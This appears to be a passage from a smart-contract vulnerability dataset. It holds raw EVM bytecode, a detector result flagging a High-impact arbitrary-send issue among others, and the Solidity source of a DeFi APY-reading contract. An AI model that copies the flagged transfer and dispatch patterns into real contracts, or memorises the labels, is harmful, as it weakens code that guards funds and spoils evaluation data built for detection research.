60050154908060060154908060070160009054906101000a900460ff16908060070160019054906101000a900460ff1690508a565b600081815481101515613afa57fe5b90600052602060002090600e020160009150905080600001549080600101549080600201549080600301549080600401549080600501549080600601549080600701549080600801549080600901549080600a01549080600b01549080600c01549080600d0160009054906101000a900460ff1690508e565b600080821515613b8e5760008514151515613b8d57600080fd5b5b6007600084151515158152602001908152602001600020600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480613c8657506006600084151515158152602001908152602001600020600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80613d2c5750600560008415151515815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b9150509392505050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515613d8e57600080fd5b613d988282614a29565b5050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515613df457600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015613e73573d6000803e3d6000fd5b50565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c945d388383336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018360ff1660ff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b158015613f4957600080fd5b505af1158015613f5d573d6000803e3d6000fd5b505050505050565b81600760006001151515158152602001908152602001600020600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515613fea57600080fd5b82600081815481101515613ffa57fe5b90600052602060002090600e0201600d0160009054906101000a900460ff16151561402457600080fd5b60008481548110151561403357fe5b90600052602060002090600e02016008015480341015151561405457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff16600760006001151515158152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156140df576140da84614963565b614133565b614132600760006001151515158152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1634614a29565b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663811ea6de600760006001151515158152602001908152602001600020600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338860016040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001945050505050600060405180830381600087803b15801561428257600080fd5b505af1158015614296573d6000803e3d6000fd5b505050505050505050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156142f957600080fd5b81600560008315151515815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050505050565b6060600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e167458884846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018215151515815260200192505050600060405180830381600087803b15801561444757600080fd5b505af115801561445b573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250602081101561448557600080fd5b81019080805164010000000081111561449d57600080fd5b828101905060208101848111156144b357600080fd5b81518560018202830111640100000000821117156144d057600080fd5b5050929190505050905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663daaf3d2e8383336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b1580156145ad57600080fd5b505af11580156145c1573d6000803e3d6000fd5b505050505050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561462157600080fd5b816007600083151515158152602001908152602001600020600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b606080600080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101546040519080825280602002602001820160405280156147045781602001602082028038833980820191505090505b50925060009150600090505b6000805490508110156147cd578473ffffffffffffffffffffffffffffffffffffffff16600760006001151515158152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156147c0578083838151811015156147a957fe5b906020019060200201818152505081806001019250505b8080600101915050614710565b829350505050919050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561483057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561486c57600080fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561490857600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61499e600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16603c60643481151561499757fe5b0402614a29565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015614a0757503373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15614a2657614a25816019606434811515614a1e57fe5b0402614a29565b5b50565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000016000828254019250508190555080600a600082825401925050819055505050565b6000828211151515614a9b57fe5b818303905092915050565b6101c060405190810160405280600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614b5957805160ff1916838001178555614b87565b82800160010185558215614b87579182015b82811115614b86578251825591602001919060010190614b6b565b5b509050614b949190614c76565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614bd957803560ff1916838001178555614c07565b82800160010185558215614c07579182015b82811115614c06578235825591602001919060010190614beb565b5b509050614c149190614c76565b5090565b6101406040519081016040528060008152602001600060ff168152602001600060ff16815260200160008152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b614c9891905b80821115614c94576000816000905550600101614c7c565b5090565b905600a165627a7a7230582067a990025a9138c614880f57620d6c8080a00f9be557de7466ec0d5681b6d5000029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "boolean-cst", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,054 |
0x3c7134e3cbfa0f28dec60984e30419ab7a8a665b
|
/**
*Submitted for verification at Etherscan.io on 2021-03-30
*/
pragma solidity 0.5.12;
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "ds-math-div-overflow");
z = x / y;
}
}
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
}
interface ILendingPoolCore {
function getReserveAvailableLiquidity(address _reserve)
external
view
returns (uint256);
function getReserveCurrentLiquidityRate(address _reserve)
external
view
returns (uint256);
function getReserveCurrentVariableBorrowRate(address _reserve)
external
view
returns (uint256);
}
interface ICToken {
function supplyRatePerBlock() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function getCash() external view returns (uint256);
function comptroller() external view returns (address);
function exchangeRateCurrent() external returns (uint256);
}
interface IiToken {
function getCash() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
}
interface IUSR {
function totalUnderlying() external returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function underlyingToken() external view returns (address);
}
interface IDFProtocolView {
function getColStatus()
external
view
returns (address[] memory, uint256[] memory);
}
interface IComptroller {
function compSpeeds(address _cToken) external view returns (uint256);
function getCompAddress() external view returns (address);
}
interface IDToken {
function token() external view returns (address);
function getBaseData()
external
returns (
uint256,
uint256,
uint256,
uint256,
uint256
);
function getHandlerInfo()
external
returns (
address[] memory,
uint256[] memory,
uint256[] memory
);
function swapModel() external view returns (address);
}
interface ISwapModel {
function getSwapAmount(
address _tokenA,
address _tokenB,
uint256 _amount
) external view returns (uint256);
}
interface IDTokenController {
function getDToken(address _token) external view returns (address);
}
interface IHandler {
function dTokenController() external view returns (address);
function cTokens(address _token) external view returns (address);
function iTokens(address _token) external view returns (address);
function aaveLendingPoolCore() external view returns (address);
function USR() external view returns (address);
function iToken() external view returns (address);
}
contract DTokenCommonData {
using SafeMath for uint256;
bool private initialized;
address public owner;
uint256 constant ONE = 1e18;
uint256 constant doubleScale = 1e36;
uint256 constant BlocksPerDay = 4 * 60 * 24;
uint256 constant DaysPerYear = 365;
mapping(address => bytes4) public handlers;
mapping(address => bool) public farmings;
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "onlyOwner: caller is not the owner");
_;
}
constructor() public {
initialize();
}
function initialize() public {
require(!initialized, "initialize: Already initialized!");
owner = msg.sender;
initialized = true;
}
function rpow(uint256 x, uint256 n, uint256 base) public pure returns (uint256 z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
function setHandler(address _handler, bytes4 _sig) external onlyOwner {
handlers[_handler] = _sig;
}
function setHandlers(address[] calldata _handlers, bytes4[] calldata _sigs)
external
onlyOwner
{
require(
_handlers.length == _sigs.length && _handlers.length > 0,
"setHandlers: handlers & indexs should not have 0 or different lengths"
);
for (uint256 i = 0; i < _handlers.length; i++)
handlers[_handlers[i]] = _sigs[i];
}
function setFarming(address _handler, bool _farming) external onlyOwner {
farmings[_handler] = _farming;
}
function setFarmings(address[] calldata _handlers, bool[] calldata _farmings) external onlyOwner {
require(
_handlers.length == _farmings.length && _handlers.length > 0,
"setFarmings: handlers & indexs should not have 0 or different lengths"
);
for (uint256 i = 0; i < _handlers.length; i++)
farmings[_handlers[i]] = _farmings[i];
}
function getDTokenApys(address[] calldata _dTokens)
external
returns (uint256[] memory)
{
uint256[] memory _apys = new uint256[](_dTokens.length);
for (uint256 i = 0; i < _dTokens.length; i++)
_apys[i] = getDTokenApy(_dTokens[i]);
return _apys;
}
struct DTokenApyLocalVars {
uint256 tokenBalance;
uint256[] balances;
uint256[] supplyApys;
uint256[] borrowApys;
uint256[] otherSupplyApys;
}
function getDTokenApy(address _dToken) public returns (uint256) {
DTokenDataLocalVars memory _dTokenApy;
(
_dTokenApy.tokenBalance,
,
,
_dTokenApy.balances,
,
_dTokenApy.supplyApys,
,
_dTokenApy.otherSupplyApys
) = getDTokenData(_dToken);
if (_dTokenApy.tokenBalance == 0) return 0;
uint256 _apy;
for (uint256 i = 0; i < _dTokenApy.balances.length; i++)
_apy = _dTokenApy.supplyApys[i]
.add(_dTokenApy.otherSupplyApys[i])
.mul(_dTokenApy.balances[i])
.div(_dTokenApy.tokenBalance)
.add(_apy);
return _apy;
}
struct DTokenDataLocalVars {
address token;
uint256 tokenBalance;
address[] handlers;
uint256[] balances;
uint256[] cashs;
uint256[] supplyApys;
uint256[] borrowApys;
uint256[] otherSupplyApys;
}
function getDTokenData(address _dToken)
public
returns (
uint256,
uint256,
address[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory,
uint256[] memory
)
{
DTokenDataLocalVars memory _dTokenData;
(, , , , uint256 _tokenBalance) = IDToken(_dToken).getBaseData();
_dTokenData.token = IDToken(_dToken).token();
(_dTokenData.handlers, _dTokenData.balances, ) = IDToken(_dToken)
.getHandlerInfo();
_dTokenData.cashs = new uint256[](_dTokenData.handlers.length);
_dTokenData.supplyApys = new uint256[](_dTokenData.handlers.length);
_dTokenData.borrowApys = new uint256[](_dTokenData.handlers.length);
_dTokenData.otherSupplyApys = new uint256[](
_dTokenData.handlers.length
);
for (uint256 i = 0; i < _dTokenData.handlers.length; i++)
(
_dTokenData.cashs[i],
_dTokenData.supplyApys[i],
_dTokenData.borrowApys[i],
_dTokenData.otherSupplyApys[i]
) = getHandlerData(_dTokenData.handlers[i], _dTokenData.token);
return (
_tokenBalance,
IERC20(_dToken).totalSupply(),
_dTokenData.handlers,
_dTokenData.balances,
_dTokenData.cashs,
_dTokenData.supplyApys,
_dTokenData.borrowApys,
_dTokenData.otherSupplyApys
);
}
function getHandlerData(address _handler, address _token)
public
returns (
uint256,
uint256,
uint256,
uint256
)
{
(, bytes memory _data) = address(this).call(
abi.encodeWithSelector(handlers[_handler], _handler, _token)
);
(
uint256 _cash,
uint256 _supplyApy,
uint256 _borrowApy,
uint256 _otherSupplyApy
) = abi.decode(_data, (uint256, uint256, uint256, uint256));
return (_cash, _supplyApy, _borrowApy, _otherSupplyApy);
}
function InternalData(address _handler, address _token)
public
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
return (IERC20(_token).balanceOf(_handler), 0, 0, 0);
}
function CompoundData(address _handler, address _token)
public
returns (
uint256,
uint256,
uint256,
uint256
)
{
ICToken _cToken = ICToken(IHandler(_handler).cTokens(_token));
return (
_cToken.getCash(),
rpow(
(_cToken.supplyRatePerBlock() * BlocksPerDay + ONE),
DaysPerYear,
ONE
) - ONE,
rpow(
(_cToken.borrowRatePerBlock() * BlocksPerDay + ONE),
DaysPerYear,
ONE
) - ONE,
getCompApy(_handler, _token)
);
}
function AaveData(address _handler, address _token)
public
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
ILendingPoolCore lendingPoolCore = ILendingPoolCore(
IHandler(_handler).aaveLendingPoolCore()
);
return (
lendingPoolCore.getReserveAvailableLiquidity(_token),
lendingPoolCore.getReserveCurrentLiquidityRate(_token) / 10**9,
lendingPoolCore.getReserveCurrentVariableBorrowRate(_token) / 10**9,
0
);
}
function USRData(address _handler, address _token)
public
returns (
uint256,
uint256,
uint256,
uint256
)
{
_token;
return (
IUSR(IHandler(_handler).USR()).totalUnderlying(),
getUSRInterestRate(_handler),
0,
0
);
}
function DForceLendingData(address _handler, address _token)
public
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
IiToken _iToken = IiToken(IHandler(_handler).iTokens(_token));
return (
_iToken.getCash(),
rpow(
(_iToken.supplyRatePerBlock() * BlocksPerDay + ONE),
DaysPerYear,
ONE
) - ONE,
rpow(
(_iToken.borrowRatePerBlock() * BlocksPerDay + ONE),
DaysPerYear,
ONE
) - ONE,
0
);
}
function DForceLendingSingleData(address _handler, address _token)
public
view
returns (
uint256,
uint256,
uint256,
uint256
)
{
_token;
IiToken _iToken = IiToken(IHandler(_handler).iToken());
return (
_iToken.getCash(),
rpow(
(_iToken.supplyRatePerBlock() * BlocksPerDay + ONE),
DaysPerYear,
ONE
) - ONE,
rpow(
(_iToken.borrowRatePerBlock() * BlocksPerDay + ONE),
DaysPerYear,
ONE
) - ONE,
0
);
}
function getCompApy(address _handler, address _token)
public
returns (uint256)
{
if (!farmings[_handler]) return 0;
address _cToken = IHandler(_handler).cTokens(_token);
IComptroller _comptroller = IComptroller(
ICToken(_cToken).comptroller()
);
IDToken _dToken = IDToken(
IDTokenController(IHandler(_handler).dTokenController()).getDToken(
_token
)
);
uint256 _tokenAmount = ISwapModel(_dToken.swapModel()).getSwapAmount(
_comptroller.getCompAddress(),
_dToken.token(),
ONE
);
_tokenAmount = _comptroller.compSpeeds(_cToken).mul(_tokenAmount).div(
ONE
);
uint256 _tokenTotalAmountDoubleScale = IERC20(_cToken)
.totalSupply()
.mul(ICToken(_cToken).exchangeRateCurrent());
if (_tokenTotalAmountDoubleScale == 0) return 0;
uint256 _compApy = _tokenAmount.mul(doubleScale).div(
_tokenTotalAmountDoubleScale
);
return rpow((_compApy * 45 * 6 * 24 + ONE), DaysPerYear, ONE) - ONE;
}
function getUSRInterestRate(address _handler) public returns (uint256) {
uint256 _principal = IUSR(IHandler(_handler).USR()).totalUnderlying();
return
_principal > 0
? getUSDxAnnualInterest(_handler).mul(ONE).div(_principal)
: 0;
}
function getUSDxAnnualInterest(address _handler) public returns (uint256) {
IDTokenController _dTokenController = IDTokenController(
IHandler(_handler).dTokenController()
);
(address[] memory _tokens, uint256[] memory _amounts) = IDFProtocolView(
0x097Dd22173f0e382daE42baAEb9bDBC9fdf3396F
)
.getColStatus();
address _dToken;
uint256 _decimals;
uint256 _annualInterest;
for (uint256 i = 0; i < _tokens.length; i++) {
_dToken = _dTokenController.getDToken(_tokens[i]);
if (_dToken == address(0)) continue;
_decimals = uint256(IERC20(_tokens[i]).decimals());
_amounts[i] = _decimals > 18
? _amounts[i] / 10**(_decimals - 18)
: _amounts[i] * 10**(18 - _decimals);
_annualInterest = _annualInterest.add(
_amounts[i].mul(getDTokenApy(_dToken)).div(ONE)
);
}
return _annualInterest;
}
function test(address _handler)
public
returns (
uint256,
address[] memory,
address[] memory,
uint256[] memory,
uint256[] memory
)
{
IDTokenController _dTokenController = IDTokenController(
IHandler(_handler).dTokenController()
);
(address[] memory _tokens, uint256[] memory _amounts) = IDFProtocolView(
0x097Dd22173f0e382daE42baAEb9bDBC9fdf3396F
)
.getColStatus();
address[] memory _dTokens = new address[](_tokens.length);
uint256[] memory _decimals = new uint256[](_tokens.length);
uint256 _annualInterest;
for (uint256 i = 0; i < _tokens.length; i++) {
_dTokens[i] = _dTokenController.getDToken(_tokens[i]);
if (_dTokens[i] == address(0)) continue;
_decimals[i] = uint256(IERC20(_tokens[i]).decimals());
_amounts[i] = _decimals[i] > 18
? _amounts[i] / 10**(_decimals[i] - 18)
: _amounts[i] * 10**(18 - _decimals[i]);
_annualInterest = _annualInterest.add(
_amounts[i].mul(getDTokenApy(_dTokens[i])).div(ONE)
);
}
return (_annualInterest, _tokens, _dTokens, _decimals, _amounts);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806360b934c3116100c3578063aa673dfd1161007c578063aa673dfd14610596578063af0ef53114610777578063b769368a146107a5578063bb29998e146107db578063d563965b1461092b578063fbb9677b146109515761014d565b806360b934c3146104b757806367b870af146104e557806371affae71461050e5780638129fc1c1461053c5780638da5cb5b14610544578063a8bb3649146105685761014d565b80633f8ded59116101155780633f8ded59146103055780633ff45cb91461033f57806341cd5c8a1461037757806342d97471146103a55780634de0cd3c14610463578063542a573c146104915761014d565b80631a21c0bc1461015257806322a26553146101955780632c6a466e146102535780632dd1e31d1461028357806331f7f3aa146102d7575b600080fd5b6101786004803603602081101561016857600080fd5b50356001600160a01b0316610a0f565b604080516001600160e01b03199092168252519081900360200190f35b610203600480360360208110156101ab57600080fd5b810190602081018135600160201b8111156101c557600080fd5b8201836020820111156101d757600080fd5b803590602001918460208302840111600160201b831117156101f857600080fd5b509092509050610a24565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561023f578181015183820152602001610227565b505050509050019250505060405180910390f35b6102816004803603604081101561026957600080fd5b506001600160a01b0381351690602001351515610aaf565b005b6102b16004803603604081101561029957600080fd5b506001600160a01b0381358116916020013516610b28565b604080519485526020850193909352838301919091526060830152519081900360800190f35b6102b1600480360360408110156102ed57600080fd5b506001600160a01b0381358116916020013516610cff565b61032b6004803603602081101561031b57600080fd5b50356001600160a01b0316610df5565b604080519115158252519081900360200190f35b6103656004803603602081101561035557600080fd5b50356001600160a01b0316610e0a565b60408051918252519081900360200190f35b6103656004803603604081101561038d57600080fd5b506001600160a01b0381358116916020013516610f2a565b610281600480360360408110156103bb57600080fd5b810190602081018135600160201b8111156103d557600080fd5b8201836020820111156103e757600080fd5b803590602001918460208302840111600160201b8311171561040857600080fd5b919390929091602081019035600160201b81111561042557600080fd5b82018360208201111561043757600080fd5b803590602001918460208302840111600160201b8311171561045857600080fd5b5090925090506114bb565b6102b16004803603604081101561047957600080fd5b506001600160a01b03813581169160200135166115d0565b610365600480360360208110156104a757600080fd5b50356001600160a01b03166117db565b6102b1600480360360408110156104cd57600080fd5b506001600160a01b0381358116916020013516611be9565b610365600480360360608110156104fb57600080fd5b5080359060208101359060400135611c47565b6102b16004803603604081101561052457600080fd5b506001600160a01b0381358116916020013516611d06565b610281611ec2565b61054c611f3c565b604080516001600160a01b039092168252519081900360200190f35b6102b16004803603604081101561057e57600080fd5b506001600160a01b0381358116916020013516611f50565b6105bc600480360360208110156105ac57600080fd5b50356001600160a01b031661209f565b6040518089815260200188815260200180602001806020018060200180602001806020018060200187810387528d818151815260200191508051906020019060200280838360005b8381101561061c578181015183820152602001610604565b5050505090500187810386528c818151815260200191508051906020019060200280838360005b8381101561065b578181015183820152602001610643565b5050505090500187810385528b818151815260200191508051906020019060200280838360005b8381101561069a578181015183820152602001610682565b5050505090500187810384528a818151815260200191508051906020019060200280838360005b838110156106d95781810151838201526020016106c1565b50505050905001878103835289818151815260200191508051906020019060200280838360005b83811015610718578181015183820152602001610700565b50505050905001878103825288818151815260200191508051906020019060200280838360005b8381101561075757818101518382015260200161073f565b505050509050019e50505050505050505050505050505060405180910390f35b6102b16004803603604081101561078d57600080fd5b506001600160a01b03813581169160200135166125d3565b610281600480360360408110156107bb57600080fd5b5080356001600160a01b031690602001356001600160e01b03191661266c565b610801600480360360208110156107f157600080fd5b50356001600160a01b03166126eb565b6040518086815260200180602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b8381101561085357818101518382015260200161083b565b50505050905001858103845288818151815260200191508051906020019060200280838360005b8381101561089257818101518382015260200161087a565b50505050905001858103835287818151815260200191508051906020019060200280838360005b838110156108d15781810151838201526020016108b9565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156109105781810151838201526020016108f8565b50505050905001995050505050505050505060405180910390f35b6103656004803603602081101561094157600080fd5b50356001600160a01b0316612be3565b6102816004803603604081101561096757600080fd5b810190602081018135600160201b81111561098157600080fd5b82018360208201111561099357600080fd5b803590602001918460208302840111600160201b831117156109b457600080fd5b919390929091602081019035600160201b8111156109d157600080fd5b8201836020820111156109e357600080fd5b803590602001918460208302840111600160201b83111715610a0457600080fd5b509092509050612cad565b60016020526000908152604090205460e01b81565b60608083839050604051908082528060200260200182016040528015610a54578160200160208202803883390190505b50905060005b83811015610aa557610a86858583818110610a7157fe5b905060200201356001600160a01b0316612be3565b828281518110610a9257fe5b6020908102919091010152600101610a5a565b5090505b92915050565b60005461010090046001600160a01b03163314610afd5760405162461bcd60e51b8152600401808060200182810382526022815260200180612f516022913960400191505060405180910390fd5b6001600160a01b03919091166000908152600260205260409020805460ff1916911515919091179055565b6000806000806000866001600160a01b031663408cfe246040518163ffffffff1660e01b815260040160206040518083038186803b158015610b6957600080fd5b505afa158015610b7d573d6000803e3d6000fd5b505050506040513d6020811015610b9357600080fd5b505160408051631d8e90d160e11b815290519192506001600160a01b03831691633b1d21a291600480820192602092909190829003018186803b158015610bd957600080fd5b505afa158015610bed573d6000803e3d6000fd5b505050506040513d6020811015610c0357600080fd5b505160408051630ae9d70b60e41b81529051670de0b6b3a764000091610c98918391611680916001600160a01b0388169163ae9d70b0916004808301926020929190829003018186803b158015610c5957600080fd5b505afa158015610c6d573d6000803e3d6000fd5b505050506040513d6020811015610c8357600080fd5b5051020161016d670de0b6b3a7640000611c47565b03670de0b6b3a7640000610cea670de0b6b3a7640000611680866001600160a01b031663f8f9da286040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5957600080fd5b929a9199509091039650600095509350505050565b600080600080856001600160a01b031663defc2d796040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3e57600080fd5b505afa158015610d52573d6000803e3d6000fd5b505050506040513d6020811015610d6857600080fd5b5051604080516331c2482f60e21b815290516001600160a01b039092169163c70920bc916004808201926020929091908290030181600087803b158015610dae57600080fd5b505af1158015610dc2573d6000803e3d6000fd5b505050506040513d6020811015610dd857600080fd5b5051610de387610e0a565b90979096506000955085945092505050565b60026020526000908152604090205460ff1681565b600080826001600160a01b031663defc2d796040518163ffffffff1660e01b815260040160206040518083038186803b158015610e4657600080fd5b505afa158015610e5a573d6000803e3d6000fd5b505050506040513d6020811015610e7057600080fd5b5051604080516331c2482f60e21b815290516001600160a01b039092169163c70920bc916004808201926020929091908290030181600087803b158015610eb657600080fd5b505af1158015610eca573d6000803e3d6000fd5b505050506040513d6020811015610ee057600080fd5b5051905080610ef0576000610f21565b610f2181610f15670de0b6b3a7640000610f09876117db565b9063ffffffff612dad16565b9063ffffffff612e1016565b9150505b919050565b6001600160a01b03821660009081526002602052604081205460ff16610f5257506000610aa9565b6000836001600160a01b0316638c0b09d0846040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b158015610faa57600080fd5b505afa158015610fbe573d6000803e3d6000fd5b505050506040513d6020811015610fd457600080fd5b505160408051635fe3b56760e01b815290519192506000916001600160a01b03841691635fe3b567916004808301926020929190829003018186803b15801561101c57600080fd5b505afa158015611030573d6000803e3d6000fd5b505050506040513d602081101561104657600080fd5b505160408051636bb5f78760e01b815290519192506000916001600160a01b03881691636bb5f787916004808301926020929190829003018186803b15801561108e57600080fd5b505afa1580156110a2573d6000803e3d6000fd5b505050506040513d60208110156110b857600080fd5b50516040805163f2842b1960e01b81526001600160a01b0388811660048301529151919092169163f2842b19916024808301926020929190829003018186803b15801561110457600080fd5b505afa158015611118573d6000803e3d6000fd5b505050506040513d602081101561112e57600080fd5b50516040805163909cb58160e01b815290519192506000916001600160a01b0384169163909cb581916004808301926020929190829003018186803b15801561117657600080fd5b505afa15801561118a573d6000803e3d6000fd5b505050506040513d60208110156111a057600080fd5b505160408051634e8dad0560e11b815290516001600160a01b039283169263635bc0c29290871691639d1b5a0a91600480820192602092909190829003018186803b1580156111ee57600080fd5b505afa158015611202573d6000803e3d6000fd5b505050506040513d602081101561121857600080fd5b505160408051637e062a3560e11b815290516001600160a01b0387169163fc0c546a916004808301926020929190829003018186803b15801561125a57600080fd5b505afa15801561126e573d6000803e3d6000fd5b505050506040513d602081101561128457600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152929091166024830152670de0b6b3a76400006044830152516064808301926020929190829003018186803b1580156112e257600080fd5b505afa1580156112f6573d6000803e3d6000fd5b505050506040513d602081101561130c57600080fd5b505160408051631d7b33d760e01b81526001600160a01b03878116600483015291519293506113a792670de0b6b3a764000092610f1592869291891691631d7b33d791602480820192602092909190829003018186803b15801561136f57600080fd5b505afa158015611383573d6000803e3d6000fd5b505050506040513d602081101561139957600080fd5b50519063ffffffff612dad16565b90506000611455856001600160a01b031663bd6d894d6040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156113e957600080fd5b505af11580156113fd573d6000803e3d6000fd5b505050506040513d602081101561141357600080fd5b5051604080516318160ddd60e01b815290516001600160a01b038916916318160ddd916004808301926020929190829003018186803b15801561136f57600080fd5b90508061146a57600095505050505050610aa9565b600061148f82610f15856ec097ce7bc90715b34b9f100000000063ffffffff612dad16565b9050670de0b6b3a76400006114ad6119508302820161016d83611c47565b039998505050505050505050565b60005461010090046001600160a01b031633146115095760405162461bcd60e51b8152600401808060200182810382526022815260200180612f516022913960400191505060405180910390fd5b828114801561151757508215155b6115525760405162461bcd60e51b8152600401808060200182810382526045815260200180612f736045913960600191505060405180910390fd5b60005b838110156115c95782828281811061156957fe5b905060200201356001600160e01b0319166001600087878581811061158a57fe5b6020908